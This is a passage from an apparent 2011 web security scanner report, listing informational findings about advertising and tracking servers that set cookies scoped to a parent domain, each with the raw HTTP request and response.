rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyb9SBXyVoU4GWdcWu5pSz6fdUHuPDqhT9nhW4dujhzvFfV8niMvv5wYigD3ORegGA22VNfTqx+eg0nx/+pQOAsaJyKRS+poUGKbNIvwoXRZmYpofEgkguVhwym9t+18gaeisd+U+3OU6u7dY9YjdOoiiWJaGoH6f9a4A1C4p2EEWy5sZfyRMdL0yFQj/dyBQu5vuXFSGDP6a7bkmRyCgADITF/jAjzjjQtMzlUn/2XsHoROnrHd8ZmZ9wL3Fki/IapXgtDs1LVN1w7zrNCJsrjtaRPi5Ua4BX64gN+bW4e81O/nkwEVNrLi7N/hvD+RWReLAquahYnsRX74veIcsqhV/Bj2zlvLoF1DGrF5wBE0ww7xsPyIujq7i83N9YLY7B9QJGrroEZUJ3uumTkIbTH2sgG0zIXvrW2PHzHWqe6CrBhdqwWRPDDQfvgetE+CzmWL7BCrGA9li8TibAzk6Id/6amaeS+uQBkhBNT3QVSZlFmlU3jPA4wQY8xqU4t8H4OJgek0KBFC2I/y3jRPh6shP15VAi2hmOVxyPvYRJqfdsJhwCYkdHvJgn3euqlVqx8Z7eWUW35ZUIWyn+qifsSnOxS8BRx319mlAL9a2eyEtvQkI4xGm7dXPookE+6fdAJ07KGbimojO0JtNKaR8QCZNXIHgqrnbaf0boabxSH2IHspDo80RXAPXDSkg+L4R8Vw="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adserver/ako?rsi_noads=1&rsi_pixel=1&rsi_account=81FF890715F2DC971C61B9EF71316E6E&rsi_site=4B79D8342E28850964F3F8156E7E66BA&rsi_event=254B2CDA70174134A2FB20B708ED4289 HTTP/1.1
Host: ads.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Tour.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXUwvkleBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR3e8AQ==; rtc_K3mi=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsiPus_VmDO=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_VmDO=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_-wAA="MLs3rE9rsF9nIDFgVbsxTUeBqbq+q3/4pBwYHDWGKVMsYcYNvuT3GGFCbydzxZtZdBcK/u1QXh2RAX9NdlbHtkt0dNY2cJqPqIWdptqs3944GZG1wCDw0lGVw01n6FHh24rSXWAHI25V0bg+U2hq4mH9Y8+twEF/rTaIuhgkE8dy1dSheS1qAUheQSbhzNVIUeUFlgvS3mgiHEDy"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Set-Cookie: rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyb9SBXyVoU4GWdcWu5pSz6fdUHuPDqhT9nhW4dujhzvFfV8niMvv5wYigD3ORegGA22VNfTqx+eg0nx/+pQOAsaJyKRS+poUGKbNIvwoXRZmYpofEgkguVhwym9t+18gaeisd+U+3OU6u7dY9YjdOoiiWJaGoH6f9a4A1C4p2EEWy5sZfyRMdL0yFQj/dyBQu5vuXFSGDP6a7bkmRyCgADITF/jAjzjjQtMzlUn/2XsHoROnrHd8ZmZ9wL3Fki/IapXgtDs1LVN1w7zrNCJsrjtaRPi5Ua4BX64gN+bW4e81O/nkwEVNrLi7N/hvD+RWReLAquahYnsRX74veIcsqhV/Bj2zlvLoF1DGrF5wBE0ww7xsPyIujq7i83N9YLY7B9QJGrroEZUJ3uumTkIbTH2sgG0zIXvrW2PHzHWqe6CrBhdqwWRPDDQfvgetE+CzmWL7BCrGA9li8TibAzk6Id/6amaeS+uQBkhBNT3QVSZlFmlU3jPA4wQY8xqU4t8H4OJgek0KBFC2I/y3jRPh6shP15VAi2hmOVxyPvYRJqfdsJhwCYkdHvJgn3euqlVqx8Z7eWUW35ZUIWyn+qifsSnOxS8BRx319mlAL9a2eyEtvQkI4xGm7dXPookE+6fdAJ07KGbimojO0JtNKaR8QCZNXIHgqrnbaf0boabxSH2IHspDo80RXAPXDSkg+L4R8Vw="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Location: http://ad.yieldmanager.com/pixel?id=575639&t=2
Content-Length: 0
Date: Sat, 14 May 2011 10:34:19 GMT

14.18. http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

svid=173274949960; expires=Wed, 14-May-2014 4:48:54 GMT; path=/; domain=.mediaplex.com;
mojo3=13754:1281; expires=Tue, 14-May-2013 4:48:54 GMT; path=/; domain=.mediaplex.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ad/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=173274949960 HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: svid=173274949960; expires=Wed, 14-May-2014 4:48:54 GMT; path=/; domain=.mediaplex.com;
Set-Cookie: mojo3=13754:1281; expires=Tue, 14-May-2013 4:48:54 GMT; path=/; domain=.mediaplex.com;
Location: http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-1281-0%3Fmpt%3D3040010&mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f
Content-Length: 0
Date: Sat, 14 May 2011 10:12:38 GMT

14.19. http://altfarm.mediaplex.com/ad/js/13754-86576-29158-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/13754-86576-29158-0

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

mojo3=13754:29158; expires=Tue, 14-May-2013 5:28:28 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ad/js/13754-86576-29158-0?mpt=3071260&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/j%3B211712532%3B1-0%3B0%3B26528079%3B4307-300/250%3B33456554/33474432/1%3B%3B%7Eokv%3D%3Btile%3D3%3Bsz%3D300x250%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=173274949960; mojo3=13754:1281

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: mojo3=13754:29158; expires=Tue, 14-May-2013 5:28:28 GMT; path=/; domain=.mediaplex.com;
Location: http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-29158-0%3Fmpt%3D3071260&mpt=3071260&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/j%3B211712532%3B1-0%3B0%3B26528079%3B4307-300/250%3B33456554/33474432/1%3B%3B%7Eokv%3D%3Btile%3D3%3Bsz%3D300x250%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f
Content-Length: 0
Date: Sat, 14 May 2011 10:16:20 GMT

14.20. http://amch.questionmarket.com/adsc/d845473/10/40348193/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d845473/10/40348193/decide.php

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

CS1=40348193-10-1; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com
ES=845473-2gS)M-0; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adsc/d845473/10/40348193/decide.php?ord=1305368035 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/smartmoney.com/Invest_Strategies_Article;!category=;page=topad;;mc=0;tile=3;sz=300x250,336x280,300x600,336x850;ord=3626362636263626;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:22:14 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a209.dl
Set-Cookie: CS1=40348193-10-1; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=845473-2gS)M-0; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

14.21. http://api.bizographics.com/v1/profile.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

BizoID=739944c4-7af3-44ae-a4de-d59a57ab5b47;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KfAQplipXx9Asaj5XcunNcMDa7Re6IGD4lCyxRUxis74iisAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRNLp9SGVM52AyZ8SCBsHQipEVUJBxdqAyAV9wRmIdws28k1VCYlctdRB6yGrQbVquAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Date: Sat, 14 May 2011 10:09:13 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Set-Cookie: BizoID=739944c4-7af3-44ae-a4de-d59a57ab5b47;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
Set-Cookie: BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KfAQplipXx9Asaj5XcunNcMDa7Re6IGD4lCyxRUxis74iisAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRNLp9SGVM52AyZ8SCBsHQipEVUJBxdqAyAV9wRmIdws28k1VCYlctdRB6yGrQbVquAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
Content-Length: 178
Connection: keep-alive

dj.module.ad.bio.loadBizoData({"bizographics":{"industry":[{"code":"business_services","name":"Business Services"}],"location":{"code":"texas","name":"USA - Texas"}},"usage":1});

14.22. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:14:12 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /b?c1=7&c2=8097938&rn=140748619&c7=http%3A%2F%2Fseg.sharethis.com%2FgetSegment.php%3Fpurl%3Dhttp%253A%252F%252Fkara.allthingsd.com%252F20110513%252Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%252F%26jsref%3Dhttp%253A%252F%252Fallthingsd.com%252F%26rnd%3D1305368051187&c3=8097938&c8=ShareThis%20Segmenter&c9=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F&cv=2.2&cs=js HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://seg.sharethis.com/getSegment.php?purl=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F&jsref=http%3A%2F%2Fallthingsd.com%2F&rnd=1305368051187
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=64dfc632-184.84.247.65-1305305561

Response

HTTP/1.1 204 No Content
Content-Length: 0
Date: Sat, 14 May 2011 10:14:12 GMT
Connection: close
Set-Cookie: UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:14:12 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

14.23. http://b.scorecardresearch.com/r previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/r

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:09:22 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /r?c2=6035148&d.c=gif&d.o=djglobal&d.x=184707172&d.t=page&d.u=http%3A%2F%2Fonline.wsj.com%2Fhome-page HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=64dfc632-184.84.247.65-1305305561

Response

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: image/gif
Date: Sat, 14 May 2011 10:09:22 GMT
Connection: close
Set-Cookie: UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:09:22 GMT; path=/; domain=.scorecardresearch.com
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID OUR IND COM STA OTC"
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
Cache-Control: private, no-cache, no-cache=Set-Cookie, no-store, proxy-revalidate
Server: CS

GIF89a.............!.......,...........D..;

14.24. http://bh.contextweb.com/bh/set.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/bh/set.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

V=VyuOWtE0Vy43; Domain=.contextweb.com; Expires=Tue, 08-May-2012 10:18:57 GMT; Path=/
cwbh1=3196%3B06%2F13%2F2011%3BSMTC1; Domain=.contextweb.com; Expires=Sun, 17-Apr-2016 10:18:57 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

14.25. http://bp.specificclick.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bp.specificclick.net
Path:	/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ug=6DEEBIkK4R6_OD; Domain=.specificclick.net; Expires=Thu, 12-May-2016 10:19:06 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /?pixid=99025462 HTTP/1.1
Host: bp.specificclick.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=490793;type=smart929;cat=smart430;ord=5105054569430.649?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: WebStar 1.0
Set-Cookie: ug=6DEEBIkK4R6_OD; Domain=.specificclick.net; Expires=Thu, 12-May-2016 10:19:06 GMT; Path=/
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV"
Cache-Control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Location: http://b.scorecardresearch.com/p?c1=8&c2=2101&c3=1234567891234567891&c15=&cv=2.0&cj=1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 255
Date: Sat, 14 May 2011 10:19:05 GMT

<html>
<head><title>Document moved</title></head>
<body><h1>Document moved</h1>
This document has moved <a href="http://b.scorecardresearch.com/p?c1=8&c2=2101&c3=1234567891234567891&c15
...[SNIP]...

14.26. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2476938&PluID=0&w=300&h=250&ord=2847463&ucm=true&ifl=$$/static_html_files/addineyeV2.html$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/i%3B240436927%3B0-0%3B0%3B29743509%3B4307-300/250%3B41889197/41906984/1%3B%3B%7Eokv%3D%3B%21category%3D%3B%3Bmc%3Db2pfreezone%3Btile%3D8%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$&z=39 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/interactive.wsj.com/front_nonsub;!category=;;mc=b2pfreezone;tile=8;sz=336x280,300x250;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: A3=jtvLaMz402WG00001; B3=9fOJ0000000001uC; C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I3080

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 2269

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

14.27. http://c.statcounter.com/t.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c.statcounter.com
Path:	/t.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

is_unique=sc3927194.1305372614.0; expires=Thu, 12-May-2016 11:30:14 GMT; path=/; domain=.statcounter.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /t.php?sc_project=3927194&resolution=1920&h=1200&camefrom=&u=http%3A//www.dinse.com/&t=Dinse%2C%20Knapp%20%26%20McAndrew%20-%20Burlington%2C%20Vermont%20Law%20Firm&java=1&security=a65d8322&sc_random=0.09375170152634382&sc_snum=1&invisible=1 HTTP/1.1
